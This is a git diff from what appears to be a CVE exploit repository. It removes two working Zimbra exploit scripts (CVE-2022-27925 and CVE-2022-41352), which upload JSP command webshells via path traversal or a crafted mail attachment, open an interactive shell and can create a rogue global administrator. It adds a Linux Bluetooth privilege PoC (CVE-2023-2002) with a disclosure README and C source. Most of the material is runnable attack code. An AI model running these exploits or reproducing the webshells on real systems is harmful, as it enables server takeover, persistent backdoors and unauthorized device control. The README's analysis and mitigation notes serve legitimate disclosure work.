diff --git a/cve/Zimbra/2022/CVE-2022-27925/exploit.py b/cve/Zimbra/2022/CVE-2022-27925/exploit.py deleted file mode 100644 index 3a952699e36ac6d90b3c6be43dcc24a966d683fa..0000000000000000000000000000000000000000 --- a/cve/Zimbra/2022/CVE-2022-27925/exploit.py +++ /dev/null @@ -1,144 +0,0 @@ -import argparse -import zipfile -import io -import random -import string -import requests -from urllib3.exceptions import InsecureRequestWarning -requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) - - -webshell_payload = r'<%@ page import="java.util.*,java.io.*"%><%%>
<%if (request.getParameter("cmd") != null) {    out.println("Command: " + request.getParameter("cmd") + "
"); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else{ p = Runtime.getRuntime().exec(request.getParameter("cmd")); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }}%>
' -char_set = string.ascii_uppercase + string.digits -webshell_name = ''.join(random.sample(char_set*6, 6)) + '.jsp' -#vuln_paths = ["service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd", "service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1"] -BLUE = "\033[1;34m" -CYAN = "\033[1;36m" -GREEN = "\033[0;32m" -RED = "\033[31m" - -ITERATE = False - - -def banner(): - return CYAN+''' - _____ _ __ -/__ / (_)___ ___ / /_ _________ _ - / / / / __ `__ \/ __ \/ ___/ __ `/ - / /__/ / / / / / / /_/ / / / /_/ / -/____/_/_/ /_/ /_/_.___/_/ \__,_/ - CVE-2022-27925 - ''' - -# FIX URL -def fix_url(url): - if not url.startswith('https://'): - url = 'https://' + url - url = url.rstrip("/") - return url - -def build_zip(jsp, path): - zip_buffer = io.BytesIO() - zf = zipfile.ZipFile(zip_buffer, 'w') - zf.writestr(path, jsp) - zf.close() - return zip_buffer.getvalue() - -def exploit(host, payload, cmd): - headers = {'content-Type': 'application/x-www-form-urlencoded'} - try: - r = requests.post( - host + '', data=payload, headers=headers, verify=False, timeout=20) - r = requests.post( - host + '/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1', data=payload, headers=headers, verify=False, timeout=20) - print(GREEN + '[!] Testing webshell') - r = requests.get(host + '/zimbraAdmin/' + webshell_name + - '?cmd=' + cmd, verify=False, timeout=20) - if "Josexv1" in r.text: - print(CYAN + '[+] Webshell works!!') - print(GREEN + '[+] WebShell location: ' + - host + '/zimbraAdmin/' + webshell_name + "") - r = requests.get(host + '/zimbraAdmin/' + webshell_name + - '?cmd=uname+-a' , verify=False, timeout=20) - print(BLUE + '[+] Uname -a output: '+ CYAN + r.text.split('
') - [1].split('
')[0].strip()) - return True - else: - print(RED + '[-] Target not vulnerable') - return False - except: - print(RED + '[!] Connection error') - -def ping_url(url): - try: - r = requests.get(url, verify=False, timeout=10) - if r.status_code == 200: - print(CYAN + '[!] Target is up!') - return True - else: - print(RED + '[!] Target is down! Next >> \n') - return False - except: - return False - -def main(url): - paths = [ - '../../../../mailboxd/webapps/zimbraAdmin/', - '../../../../jetty_base/webapps/zimbraAdmin/', - '../../../../jetty/webapps/zimbraAdmin/'] - work = 0 - try: - for num in range(0, 3): - print( - GREEN + '[!] Creating malicious ZIP path: ' + BLUE + paths[num]) - zippedfile = build_zip(webshell_payload, paths[num]+webshell_name) - print(GREEN + '[!] Exploiting!') - if exploit(url, zippedfile, 'echo "Josexv1"'): - if args.target: - answer = input( - CYAN + '[+] Want to interact with webshell via terminal? (y/n): ') - if answer == "y": - print(GREEN + '[!] Sending commands to: ' + - url + '/zimbraAdmin/' + webshell_name) - while True: - cmd = input(GREEN + "[+] $ > " + BLUE) - if cmd == "exit": - break - req = requests.get( - url + "/zimbraAdmin/" + webshell_name + "?cmd=" + cmd, verify=False, timeout=20) - try: - print(CYAN + req.text.split('
') - [1].split('
')[0].strip()) - except: - print(RED + "[!] Error ?") - else: - print(RED + '[!] Bye!') - exit() - except: - print(RED + '[!] URL Error') - ITERATE = True - -if __name__ == "__main__": - print(banner()) - parser = argparse.ArgumentParser() - parser.add_argument( - '-t', '--target', help='URl with protocol HTTPS', default=False) - parser.add_argument("-l", "--list", action="store", - help="List of targets", default=False) - args = parser.parse_args() - if args.target is not False: - url = fix_url(args.target) - print(GREEN + '[!] Testing URL: '+ url) - if ping_url(url): - main(url) - elif args.list is not False: - with open(args.list, "rb") as targets: - for target in targets: - target = target.rstrip().decode("utf-8") - url = fix_url(target) - print(GREEN + '[!] Testing URL: '+ url) - if ping_url(url): - main(url) - else: - parser.print_help() - parser.exit() diff --git a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py b/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py deleted file mode 100644 index d440f7e6ad590541df5cfcb09723f758a5e5975f..0000000000000000000000000000000000000000 --- a/cve/Zimbra/2022/CVE-2022-41352/cve-2022-41352.py +++ /dev/null @@ -1,236 +0,0 @@ -#!/usr/bin/env python3 - -import sys -import smtplib -import argparse -from time import sleep -from email.mime.multipart import MIMEMultipart -from email.mime.application import MIMEApplication -from email.mime.text import MIMEText -import requests -from requests.packages.urllib3.exceptions import InsecureRequestWarning - -# CONFIGURATION -#---------------------------------- -TARGET = 'mail.test.org' -WEBSHELL_PATH = '/public/jsp' -WEBSHELL_NAME = 'Startup1_3.jsp' -ATTACHMENT = 'payload.tar' -SENDER = 'test@test.org' -RECIPIENT = 'admin@test.org' - -EMAIL_SUBJECT = 'CVE-2022-41352' -EMAIL_BODY = 'Just testing.

Don\'t mind me.

' -#---------------------------------- - -# Only change this if zimbra was not installed in the default location -UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra' - - -def create_tar_payload(payload, payload_name, payload_path, lnk='startup'): - # Block 1 - link = lnk.encode() - mode = b'0000777\x00' # link permissions - ouid = b'0001745\x00' # octal uid (997) - ogid = b'0001745\x00' # octal gid - lnsz = b'00000000000\x00' # file size (link = 0) - lmod = b'14227770134\x00' # last modified (octal unix) - csum = b' ' # checksum = 8 blanks - type = b'2' # type (link = 2) - targ = payload_path.encode() # link target - magi = b'ustar \x00' # ustar magic bytes + version - ownu = b'zimbra' # user owner - owng = b'zimbra' # group owner - vers = b'\x00'*8 + b'\x00'* 8 # device major and minor - pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100) - - raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod - raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref - # calculate and insert checksum - csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:] - raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2 - # pad block to 512 - raw_b1 += b'\00'*(512-len(raw_b1)) - - # Block 2 - mode = b'0000644\x00' # file permissions - file = f'{lnk}/{payload_name}'.encode() - flsz = oct(len(payload))[2:] # file size - csum = b' ' # checksum = 8 blanks - type = b'0' # type (file = 0) - targ = b'\x00'*100 # link target = none - - raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod - raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref - # calculate and insert checksum - csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:] - raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2 - # pad block to 512 - raw_b2 += b'\00'*(512-len(raw_b2)) - - - # Assemble - raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512)) - raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks - - return raw_tar - -# Update this if you want to use a legit email account for sending the payload -def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name): - msg = MIMEMultipart() - msg['Subject'] = subject - msg['From'] = sender - msg['To'] = recipient - - message = MIMEText(body, 'html') - msg.attach(message) - - att = MIMEApplication(attachment) - att.add_header('Content-Disposition', 'attachment', filename=attachment_name) - msg.attach(att) - - try: - print(f'>>> Sending payload') - smtp_server = smtplib.SMTP(target,25) - smtp_server.sendmail(sender, recipient, msg.as_string()) - print(f'>>> Payload delivered') - except Exception as e: - print(f'[!] Failed to send the mail: {e}') - sys.exit(1) - -def verify_upload(target, shell, path): - print(f'>>> Verifying upload to {path}/{shell} ...') - sleep(5) # give the server time to process the email - resp = requests.get(f'https://{target}{path}/{shell}', verify=False) - if resp.status_code == 200: - print(f'>>> [PWNED] Upload successful!') - else: - print(f'>>> Upload unsuccesful :(') - sys.exit(1) - -def create_new_zimbra_admin(target, shell, path): - url = f'https://{target}' - pw = 'Pwn1ng_Z1mbra_!s_fun' - print(f'>>> Adding a new global administrator') - if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'): - sys.exit(0) - admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ') - r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False) - r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False) - - print(f'>>> Login to {url}:7071/zimbraAdmin/ with:') - print(f'>>> Email : {admin}') - print(f'>>> Password : {pw}') - - -def main(args): - global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY - - # Kali JSP WebShell - payload = b'
<%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %>
<%=output %>
' - - # Using this instead of argparse default values to allow easy manual configuration as well - if args.payload: - try: - with open(args.payload, 'rb') as f: - payload = f.read() - except Exception as e: - print(f'Failed to read {args.payload}: {e}') - sys.exit(1) - print(f'>>> Using custom payload from: {args.payload}') - else: - print(f'>>> Using default payload: JSP Webshell') - if args.path: - WEBSHELL_PATH = args.path - if args.file: - WEBSHELL_NAME = args.file - if args.attach: - ATTACHMENT = args.attach - - tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH) - - print(f'>>> Assembled payload attachment: {ATTACHMENT}') - print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}') - if args.mode == 'manual': - with open(ATTACHMENT, 'wb') as f: - f.write(tar) - print(f'>>> Attachment saved locally.') - sys.exit(0) - - if args.target: - TARGET = args.target - - print(f'>>> Targeting {TARGET}') - - if args.sender: - SENDER = args.sender - if args.recip: - RECIPIENT = args.recip - if args.subject: - EMAIL_SUBJECT = args.subject - if args.body: - try: - with open(args.body, 'rb') as f: - EMAIL_BODY = f.read().decode() - except Exception as e: - print(f'Failed to read {args.body}: {e}') - sys.exit(1) - print(f'>>> Using custom email body from: {args.body}') - - - smtp_send_file( TARGET, - SENDER, - RECIPIENT, - EMAIL_SUBJECT, - EMAIL_BODY, - tar, - ATTACHMENT ) - - requests.packages.urllib3.disable_warnings(InsecureRequestWarning) - - verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) - - print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}') - if args.mode == 'auto': - sys.exit(0) - - if args.payload: - print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account') - else: - create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) - - sys.exit(0) - -if __name__ == '__main__': - epi = ''' -Alternatively, edit the script to change the default configuration. - -The available modes are: - - manual : Only create the payload - you have to deploy the payload yourself. - auto : Create a webshell and deploy it via SMTP. - fullpwn : After deploying a webshell, add a new global mail administrator. -''' - - p = argparse.ArgumentParser( - description = 'CVE-2022-41352 Zimbra RCE', - formatter_class = argparse.RawDescriptionHelpFormatter, - epilog = epi - ) - p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below') - - p.add_argument('--target', required=False, metavar='', dest='target', help=f'the target server (default: "{TARGET}")') - p.add_argument('--payload', required=False, metavar='', help='the file to save on the target (default: jsp webshell)') - p.add_argument('--path', required=False, metavar='', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")') - p.add_argument('--file', required=False, metavar='', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")') - p.add_argument('--attach', required=False, metavar='', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")') - p.add_argument('--sender', required=False, metavar='', help=f'sender mail address (default: "{SENDER}")') - p.add_argument('--recip', required=False, metavar='', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)') - p.add_argument('--subject', required=False, metavar='', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")') - p.add_argument('--body', required=False, metavar='', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")') - - args = p.parse_args() - - main(args) diff --git a/cve/linux-kernel/2023/CVE-2023-2002/.gitignore b/cve/linux-kernel/2023/CVE-2023-2002/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..e956606120dbe74d7d37eea508e7838a7ed5cb8b --- /dev/null +++ b/cve/linux-kernel/2023/CVE-2023-2002/.gitignore @@ -0,0 +1 @@ +bt_power diff --git a/cve/linux-kernel/2023/CVE-2023-2002/Makefile b/cve/linux-kernel/2023/CVE-2023-2002/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..196a4a96d6e26050c08313a476650eb47ead7a56 --- /dev/null +++ b/cve/linux-kernel/2023/CVE-2023-2002/Makefile @@ -0,0 +1,13 @@ +TARGET := bt_power + +.PHONY: +all: $(TARGET) + +$(TARGET): $(TARGET).c bluetooth.h + @echo CC $@ + @gcc -Wall -Wextra -Werror -O2 -o $@ $< + +.PHONY: +clean: + @echo RM $(TARGET) + @rm -f $(TARGET) diff --git a/cve/linux-kernel/2023/CVE-2023-2002/README.md b/cve/linux-kernel/2023/CVE-2023-2002/README.md new file mode 100644 index 0000000000000000000000000000000000000000..61b81ab4c96e4d99df265037f5cf230dab41b1c3 --- /dev/null +++ b/cve/linux-kernel/2023/CVE-2023-2002/README.md @@ -0,0 +1,224 @@ +# Linux Bluetooth: Unauthorized management command execution (CVE-2023-2002) + +An insufficient permission check has been found in the Bluetooth subsystem of +the Linux kernel when handling ioctl system calls of HCI sockets. This causes +tasks without the proper CAP_NET_ADMIN capability can easily mark HCI sockets +as _trusted_. Trusted sockets are intended to enable the sending and receiving +of management commands and events, such as pairing or connecting with a new +device. As a result, unprivileged users can acquire a trusted socket, leading +to unauthorized execution of management commands. The exploit requires only +the presence of a set of commonly used setuid programs (e.g., su, sudo). + +## Cause + +The direct cause of the vulnerability is the following code snippet: +```c +static int hci_sock_ioctl(struct socket *sock, unsigned int cmd, + unsigned long arg) +{ + ... + if (hci_sock_gen_cookie(sk)) { + ... + if (capable(CAP_NET_ADMIN)) + hci_sock_set_flag(sk, HCI_SOCK_TRUSTED); + ... + } + ... +} +``` + +The implementation of an ioctl system call verifies whether the task invoking +the call has the necessary CAP_NET_ADMIN capability to update the +HCI_SOCK_TRUSTED flag. However, this check only considers the calling task, +which may not necessarily be the socket opener. For instance, the socket can +be shared with another task using fork and execve, where the latter task may +be privileged, such as a setuid program. Moreover, if the socket is used as +stdout or stderr, an ioctl call is made to obtain tty parameters, which can be +verified through the strace command. +``` +# strace -e trace=ioctl sudo > /dev/null +ioctl(3, TIOCGPGRP, [30305]) = 0 +ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0 +``` + +The ioctl calls for tty parameters will never succeed on HCI sockets, but they +are sufficient to mark HCI sockets as trusted. Therefore, an unprivileged +program can hold trusted HCI sockets, enabling it to send and receive +management commands and events, since the trusted flag will never be cleared. + +## Exploit + +The exploitation can be as easy as below: +```c + int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); + + /* By executing sudo with an HCI socket as stderr, an ioctl + * system call makes the HCI socket privileged (i.e. with + * the HCI_SOCK_TRUSTED flag set). + */ + int pid = fork(); + if (pid == 0) { + dup2(fd, 2); + close(fd); + execlp("sudo", "sudo", NULL); + } + + waitpid(pid, NULL, 0); + + struct sockaddr_hci haddr; + haddr.hci_family = AF_BLUETOOTH; + haddr.hci_dev = HCI_DEV_NONE; + haddr.hci_channel = HCI_CHANNEL_CONTROL; + + /* The socket has not been bound. It can be bound to the + * management channel now. After that, the HCI_SOCK_TRUSTED + * flag is still present, as it will indeed never be cleared. + */ + bind(fd, (struct sockaddr *)&haddr, sizeof(haddr)); +``` + +Furthermore, btmon can be used to confirm that the socket becomes trusted and +successive management commands will succeed: +``` +# btmon +@ RAW Open: sudo (privileged) version 2.22 +@ RAW Close: sudo +@ MGMT Open: sudo (privileged) version 1.22 +@ MGMT Command: Set Powered (0x0005) plen 1 + Powered: Disabled (0x00) +@ MGMT Event: Command Complete (0x0001) plen 7 + Set Powered (0x0005) plen 4 + Status: Success (0x00) +``` + +A full PoC exploit to change the power state of Bluetooth devices can be found +[on GitHub][exp]. + +[exp]: https://github.com/lrh2000/CVE-2023-2002/tree/master/exp + +## Impact + +If successfully exploited, the identified vulnerability has the potential to +compromise the confidentiality, integrity, and availability of Bluetooth +communication. Attackers can exploit this vulnerability to pair the controller +with malicious devices, even if the Bluetooth service is disabled or not +installed. It is also possible to prevent specific devices from being paired, +or read some sensitive information such as the OOB data. + +## Affection + +The exploitable vulnerability has been present in the Linux kernel since v4.9. +More specifically, it becomes exploitable after the [commit f81f5b2db869][cm] +("Bluetooth: Send control open and close messages for HCI raw sockets"). Prior +to this commit, exploiting the vulnerability required tricking a privileged +program into binding an HCI socket, which is very hard (if not impossible) to +trigger in practice. However, after the commit, it requires only tricking a +privileged program to invoke an ioctl system call, which relies only on the +existence of an setuid program, as illustrated above. + +[cm]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f81f5b2db869 + +The exploitation works as long as there are setuid programs (or more +precisely, programs with the CAP_NET_ADMIN capability) that invokes ioctl +calls on stdin, stdout, or stderr. In most Linux distros, a quick (but very +coarse) test reveals that quite a few setuid programs are using ioctl system +calls, which are marked with 'V' in the table below: +``` +# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort +S ./chage +S ./expiry +S ./fusermount +S ./fusermount3 +S ./gpasswd +S ./ksu +S ./mount.cifs +S ./sg +S ./umount +V ./chfn +V ./chsh +V ./mount +V ./newgrp +V ./passwd +V ./pkexec +V ./screen-4.9.0 +V ./su +V ./sudo +V ./unix_chkpwd +``` +After manually checking the strace output, it is found that all of these ioctl +users are using ioctl calls on stdin, stdout, or stderr to get or set some tty +parameters. Note that exactly no arguments are passed to these setuid +programs. If some crafted arguments are passed, the number of ioctl users may +increase. As a result, a number of linux distros can be vulnerable to the +exploitation. + +As a side note, Android devices, however, are unlikely to be affected since +the exploitation requires the existence of setuid programs, which Android has +[avoided using][su] for some time. Besides, there are also no applications +with the CAP_NET_ADMIN capability on Android. + +[su]: https://source.android.com/docs/security/enhancements/enhancements43 + +## Mitigation + +[A patch][fi] has been posted to the linux-bluetooth mailing list which fixes +this vulnerability by replacing capable() with sk_capable(), where +sk_capable() checks not only the current task but also that the socket opener +has the required capability. At the same time, [another submitted patch][se] +hardens the ioctl processing logic by checking command validity at the start +of hci_sock_ioctl() and returning with an ENOIOCTLCMD error code immediately +before doing anything if the command is invalid. + +[fi]: https://lore.kernel.org/linux-bluetooth/20230416081404.8227-1-lrh2000@pku.edu.cn +[se]: https://lore.kernel.org/linux-bluetooth/20230416080251.7717-1-lrh2000@pku.edu.cn + +As a workaround, if the Bluetooth devices are not being used at all (but it is +not feasible to physically remove the device), it is possible to simply block +the devices using rfkill, which will prevent the devices from being powered +up. By doing so, sending management commands to power up Bluetooth devices +won't succeed. This can significantly reduce the impact of this vulnerability. + +There are two ways to avoid similar vulnerabilities in the future: hardening +the Linux kernel and hardening userspace setuid programs. + - There are many uses of capable() in the Linux kernel that check the + capability of the current task, but do nothing about the file or socket + opener. In many cases, it may be reasonable to also check the capability of + the opener. However, adding more capability checks can lead to unexpected + regressions, although no such examples in reality have been seen at the + time of writing. + - Stdin, stdout, and stderr are different from other file descriptors, + because they are inherited from the parent task but are used directly by + the current task. For privileged setuid programs, inherited file + descriptors may need to be treated as untrusted. Therefore, it also seems + reasonable to explicitly drop privileges when invoking system calls on + these untrusted file descriptors. + +## Relation + +This vulnerability shares exactly the same principle as [CVE-2014-0181][c14]. In +the case of CVE-2014-0181, the issue was the lack of a mechanism to authorize +Netlink operations based on the opener of the socket, which allows local users +to modify network configurations by using a Netlink socket for the stdout or +stderr of a setuid program. + +[c14]: https://nvd.nist.gov/vuln/detail/CVE-2014-0181 + +## Timeline + +**2023-04-04:** I discovered this vulnerability during my audit of the +Bluetooth protocol stack in the Linux kernel. + +**2023-04-09:** I have reported this vulnerability to the Linux kernel +security team and distribution vendors, with an initial version of patches. + +**2023-04-12:** This vulnerability has been assigned a CVE ID, which is +CVE-2023-2002. + +**2023-04-13:** After several days of discussion with the maintainers, the +patches have been updated accordingly. + +**2023-04-16:** The vulnerability was disclosed on the public [oss-security +mailing list][oss] and on GitHub (here). Two patches have been posted to the +public linux-bluetooth mailing list ([first][fi], [second][se]). + +[oss]: https://www.openwall.com/lists/oss-security/2023/04/16/3 diff --git a/cve/linux-kernel/2023/CVE-2023-2002/bluetooth.h b/cve/linux-kernel/2023/CVE-2023-2002/bluetooth.h new file mode 100644 index 0000000000000000000000000000000000000000..0205ad7d5c088e5c3995b2d1ada872c65a2e54ba --- /dev/null +++ b/cve/linux-kernel/2023/CVE-2023-2002/bluetooth.h @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +#pragma once +#include +#include + +#if BYTE_ORDER == LITTLE_ENDIAN +#define __le16 short +#define __u8 char +#else +#error Unsupported endianness +#endif + +#define __packed __attribute__ ((packed)) + +/* proto */ +#define BTPROTO_HCI 1 + +/* addr */ +struct sockaddr_hci { + sa_family_t hci_family; + unsigned short hci_dev; + unsigned short hci_channel; +}; +#define HCI_DEV_NONE 0xffff + +#define HCI_CHANNEL_CONTROL 3 + +/* mgmt cmd */ +struct mgmt_hdr { + __le16 opcode; + __le16 index; + __le16 len; +} __packed; + +struct mgmt_mode { + __u8 val; +} __packed; + +#define MGMT_OP_SET_POWERED 0x0005 + +/* mgmt evt */ +#define MGMT_EV_CMD_COMPLETE 0x0001 +#define MGMT_EV_CMD_STATUS 0x0002 +struct mgmt_ev_cmd_status { + __le16 opcode; + __u8 status; +} __packed; + +#define MGMT_STATUS_SUCCESS 0x00 +#define MGMT_STATUS_UNKNOWN_COMMAND 0x01 +#define MGMT_STATUS_NOT_CONNECTED 0x02 +#define MGMT_STATUS_FAILED 0x03 +#define MGMT_STATUS_CONNECT_FAILED 0x04 +#define MGMT_STATUS_AUTH_FAILED 0x05 +#define MGMT_STATUS_NOT_PAIRED 0x06 +#define MGMT_STATUS_NO_RESOURCES 0x07 +#define MGMT_STATUS_TIMEOUT 0x08 +#define MGMT_STATUS_ALREADY_CONNECTED 0x09 +#define MGMT_STATUS_BUSY 0x0a +#define MGMT_STATUS_REJECTED 0x0b +#define MGMT_STATUS_NOT_SUPPORTED 0x0c +#define MGMT_STATUS_INVALID_PARAMS 0x0d +#define MGMT_STATUS_DISCONNECTED 0x0e +#define MGMT_STATUS_NOT_POWERED 0x0f +#define MGMT_STATUS_CANCELLED 0x10 +#define MGMT_STATUS_INVALID_INDEX 0x11 +#define MGMT_STATUS_RFKILLED 0x12 +#define MGMT_STATUS_ALREADY_PAIRED 0x13 +#define MGMT_STATUS_PERMISSION_DENIED 0x14 + +static inline const char *stringify_mgmt_status(int status) { + switch (status) { +#define CASE(s) \ + case MGMT_STATUS_##s: \ + return "MGMT_STATUS_" #s; + CASE(SUCCESS) + CASE(UNKNOWN_COMMAND) + CASE(NOT_CONNECTED) + CASE(FAILED) + CASE(CONNECT_FAILED) + CASE(AUTH_FAILED) + CASE(NOT_PAIRED) + CASE(NO_RESOURCES) + CASE(TIMEOUT) + CASE(ALREADY_CONNECTED) + CASE(BUSY) + CASE(REJECTED) + CASE(NOT_SUPPORTED) + CASE(INVALID_PARAMS) + CASE(DISCONNECTED) + CASE(NOT_POWERED) + CASE(CANCELLED) + CASE(INVALID_INDEX) + CASE(RFKILLED) + CASE(ALREADY_PAIRED) + CASE(PERMISSION_DENIED) +#undef CASE + default: + return "MGMT_STATUS_ERROR_UNKNOWN"; + } +} diff --git a/cve/linux-kernel/2023/CVE-2023-2002/bt_power.c b/cve/linux-kernel/2023/CVE-2023-2002/bt_power.c new file mode 100644 index 0000000000000000000000000000000000000000..4e6b18157e856f350bb19eb59b5e2dba5c0358d5 --- /dev/null +++ b/cve/linux-kernel/2023/CVE-2023-2002/bt_power.c @@ -0,0 +1,161 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * CVE-2023-2002 PoC exploit. + * See https://github.com/lrh2000/CVE-2023-2002 for details. + */ +#include +#include +#include +#include +#include +#include +#include "bluetooth.h" + +static int gain_privileges(void) +{ + int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); + + int pid = fork(); + if (pid == 0) { + dup2(fd, 2); + close(fd); + + execlp("sudo", "sudo", NULL); + exit(EXIT_FAILURE); + } + + if (waitpid(pid, NULL, 0) < 0) { + perror("waitpid"); + exit(EXIT_FAILURE); + } + + return fd; +} + +static void bind_control_channel(int fd) +{ + struct sockaddr_hci haddr; + + haddr.hci_family = AF_BLUETOOTH; + haddr.hci_dev = HCI_DEV_NONE; + haddr.hci_channel = HCI_CHANNEL_CONTROL; + + if (bind(fd, (struct sockaddr *)&haddr, sizeof(haddr)) < 0) { + perror("bind"); + exit(EXIT_FAILURE); + } +} + +static void send_set_power(int fd, int index, int status) +{ + __u8 buffer[sizeof(struct mgmt_hdr) + sizeof(struct mgmt_mode)]; + struct mgmt_hdr *hdr = (struct mgmt_hdr *)buffer; + struct mgmt_mode *cp = (struct mgmt_mode *)(hdr + 1); + + hdr->opcode = MGMT_OP_SET_POWERED; + hdr->index = index; + hdr->len = sizeof(*cp); + cp->val = status; + + if (send(fd, buffer, sizeof(buffer), 0) < 0) { + perror("send"); + exit(EXIT_FAILURE); + } +} + +static void check_cmd_result(int fd) +{ + __u8 buffer[sizeof(struct mgmt_hdr) + sizeof(struct mgmt_ev_cmd_status)]; + struct mgmt_hdr *hdr = (struct mgmt_hdr *)buffer; + struct mgmt_ev_cmd_status *ev = (struct mgmt_ev_cmd_status *)(hdr + 1); + ssize_t recved; + + recved = recv(fd, buffer, sizeof(buffer), 0); + if (recved < 0) { + perror("recv"); + exit(EXIT_FAILURE); + } + if (recved == 0) { + fputs("recv: EOF\n", stderr); + exit(EXIT_FAILURE); + } + if (recved < (ssize_t)sizeof(buffer)) { + fputs("recv: Incomplete\n", stderr); + exit(EXIT_FAILURE); + } + + if (hdr->opcode != MGMT_EV_CMD_COMPLETE && + hdr->opcode != MGMT_EV_CMD_STATUS) { + fprintf(stderr, "unrecognized opcode: %d\n", (int)hdr->opcode); + exit(EXIT_FAILURE); + } + if (hdr->len < (ssize_t)sizeof(*ev)) { + fprintf(stderr, "invalid length: %d\n", (int)hdr->len); + exit(EXIT_FAILURE); + } + + if (ev->status == MGMT_STATUS_SUCCESS) { + puts("Success!"); + } else { + fprintf(stderr, "Failed. Reason: %s\n", + stringify_mgmt_status(ev->status)); + exit(EXIT_FAILURE); + } +} + +static _Noreturn void usage(char *prog) +{ + fprintf(stderr, "Usage: %s POWER_STATUS DEVICE_INDEX\n", prog); + fputs("\tPOWER_STATUS := { up | down }\n", stderr); + fputs("\tDEVICE_INDEX := { 0 | 1 | ... } \n", stderr); + + exit(EXIT_FAILURE); +} + +static int parse_int(const char *str, int *res) +{ + char *end; + + *res = strtol(str, &end, 10); + if (end == str || *end != '\0') { + return -1; + } + + return 0; +} + +int main(int argc, char **argv) +{ + int power_status; + int device_index; + int fd; + + if (argc != 3) + usage(argv[0]); + + if (strcmp(argv[1], "up") == 0) { + power_status = 1; + } else if (strcmp(argv[1], "down") == 0) { + power_status = 0; + } else { + fprintf(stderr, "invalid power status: %s\n\n", argv[1]); + usage(argv[0]); + } + + if (parse_int(argv[2], &device_index) != 0) { + fprintf(stderr, "invalid device index: %s\n\n", argv[2]); + usage(argv[0]); + } + + fd = gain_privileges(); + + bind_control_channel(fd); + + send_set_power(fd, device_index, power_status); + + check_cmd_result(fd); + + close(fd); + + return 0; +} diff --git a/cve/linux-kernel/2023/yaml/CVE-2023-2002.yaml b/cve/linux-kernel/2023/yaml/CVE-2023-2002.yaml new file mode 100644 index 0000000000000000000000000000000000000000..f298dd1ed98b39fa0a11e193b1ecfd7d9a8b2e4e --- /dev/null +++ b/cve/linux-kernel/2023/yaml/CVE-2023-2002.yaml @@ -0,0 +1,17 @@ +id: CVE-2023-2002 +source: + https://github.com/lrh2000/CVE-2023-2002 +info: + name: Linux Bluetooth 是手机、计算机和其他电子设备短距离无线互连的标准。在Linux中,蓝牙协议栈的规范实现是BlueZ。 + severity: Medium + description: | + Linux 